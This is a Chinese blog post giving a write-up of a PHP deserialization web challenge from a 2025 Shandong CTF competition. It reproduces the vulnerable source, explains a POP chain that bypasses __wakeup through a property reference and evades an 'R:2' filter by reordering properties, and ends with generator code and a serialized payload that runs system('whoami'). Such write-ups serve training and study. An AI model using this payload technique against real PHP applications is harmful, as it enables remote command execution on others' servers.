“铸网2025”山东省工业和互联网CTF竞赛-web

源码

<?php
highlight_file(__FILE__);
class MGkk8
{
    public $a;
    public $b;
    public function rpl2()
    {
        $b = $this->b;
        if ($this->a == "RPG") {
            ($b->a)($b->b."");
        }
    }
}
class KOkjs
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->rpl2();
    }
}
class u1Y7U
{
    public $a;
    public $b;
    public function __toString()
    {
        $this->a->TiYM6();
    }
}
class QMRb7
{
    public $a;
    public $b;
    public function TiYM6()
    {
        $this->b->learn();
    }
}
class y97pu
{
    public $a;
    public $b;
    public $c;
    public function __invoke()
    {
        $this->a = $this->b."__INVOKE__";
    }
    public function __destruct(){
        $this->b = $this->c;
        die($this->a);
    }
    public function __wakeup()
    {
        $this->a = "";
    }
}
class m1_99
{
    public $a;
    public $b;
    public function __call($t1,$t2)
    {
        $s1 = $this->b;
        $s1();
    }
}

if(isset($_REQUEST['a'])){
    $c = $_REQUEST['a'];
    if(stripos($c,'R:2')!== false){
        die("no Reference");
    }
    unserialize($c);
}else {
    
}

在现场没做出来,怎么也绕不过去那个wakeup,也没想明白那个检测R:2是为什么,回来在本地复现了一下感觉还是蛮简单的

首先明确pop链

MGkk8.rp12() -> KOkjs.__toString() -> y97pu.__destruct()

链子还是很简单的

关于y97pu.__destruct()中触发KOkjs.__toString()的原理,先看php手册,die()就是exit()

图片

说明了如果exit当中有字符串的话会先将字符串打印再结束程序,在本地测试一下

图片

是可以触发类中的__toString的,因此可以从y97pu.__destruct()链到KOkjs.__toString()

php在反序列化时如果有wakeup,那么会先执行wakeup再进行unserialize,题目中的wakeup将a给置空了,因此在反序列化时a就为空,无法触发链条,那么该怎么绕过呢?

注意到,在y97pu.__destruct()中的die()之前有一个将c赋给b的操作,于是我们可以用引用将$a->b 设置为 $a->a 的引用,于是$a->b 现在和 $a->a 指向同一块内存,这时我们修改b的值的时候就相当于在修改a的值,就可以通过$this->b = $this->c;将c的值通过b赋给a,进而触发链条,我们可以构造以下链条:

<?php
error_reporting(0);
class MGkk8
{
    public $a = 'RPG';
    public $b;
}
class KOkjs
{
    public $a;
    public $b;
}
class u1Y7U
{
    public $a;
    public $b;
}
class QMRb7
{
    public $a;
    public $b;
}
class y97pu
{
    public $a;
    public $b;
    public $c;
}
class m1_99
{
    public $a;
    public $b;
}

$a = new y97pu();
$a -> b = &$a -> a;
$a -> c= new KOkjs();
$a -> c = new KOkjs();
$a -> c -> a = new MGkk8();
$a -> c -> a -> b = new QMRb7();
$a -> c -> a -> b -> a = 'system';
$a -> c -> a -> b -> b = 'whoami';

echo serialize($a);
//O:5:"y97pu":3:{s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}s:1:"b";N;s:1:"a";R:9;}

但是这里出现了R:2,那么这个R:2该怎么绕过呢?

php对象的序列化是按顺序处理的,序列化时会依次对进行序列化的对象创建一个编号,这里b引用的是第二个被序列化的对象也就是a,因此就是R:2,知道了R后面数字的含义,绕过就很简单了,只需要将y97pu中的a和c换个位置就会改变序列化的顺序,从而让R后面的数字改变

payload:

<?php
error_reporting(0);
class MGkk8
{
    public $a = 'RPG';
    public $b;
}
class KOkjs
{
    public $a;
    public $b;
}
class u1Y7U
{
    public $a;
    public $b;
}
class QMRb7
{
    public $a;
    public $b;
}
class y97pu
{
    //这里将a和c的位置交换了
    public $c;
    public $b;
    public $a;
}
class m1_99
{
    public $a;
    public $b;
}

$a = new y97pu();//new y97pu() : 1
$a -> c= new KOkjs();//new KOkjs() :2
$a -> b = &$a -> a;//a : 9
$a -> c = new KOkjs();//new KOkjs() : 3
$a -> c -> a = new MGkk8();//new MGkk8() : 4
//$a -> c -> a -> a = 'RPG';//a : 5
$a -> c -> a -> b = new QMRb7();//b : 6
$a -> c -> a -> b -> a = 'system';//a : 7
$a -> c -> a -> b -> b = 'whoami';//b : 8

echo serialize($a);
//O:5:"y97pu":3:{s:1:"c";O:5:"KOkjs":2:{s:1:"a";O:5:"MGkk8":2:{s:1:"a";s:3:"RPG";s:1:"b";O:5:"QMRb7":2:{s:1:"a";s:6:"system";s:1:"b";s:6:"whoami";}}s:1:"b";N;}s:1:"b";N;s:1:"a";R:9;}
posted @ 2025-09-26 11:04  Pr0x1ma  阅读(14)  评论(0)    收藏  举报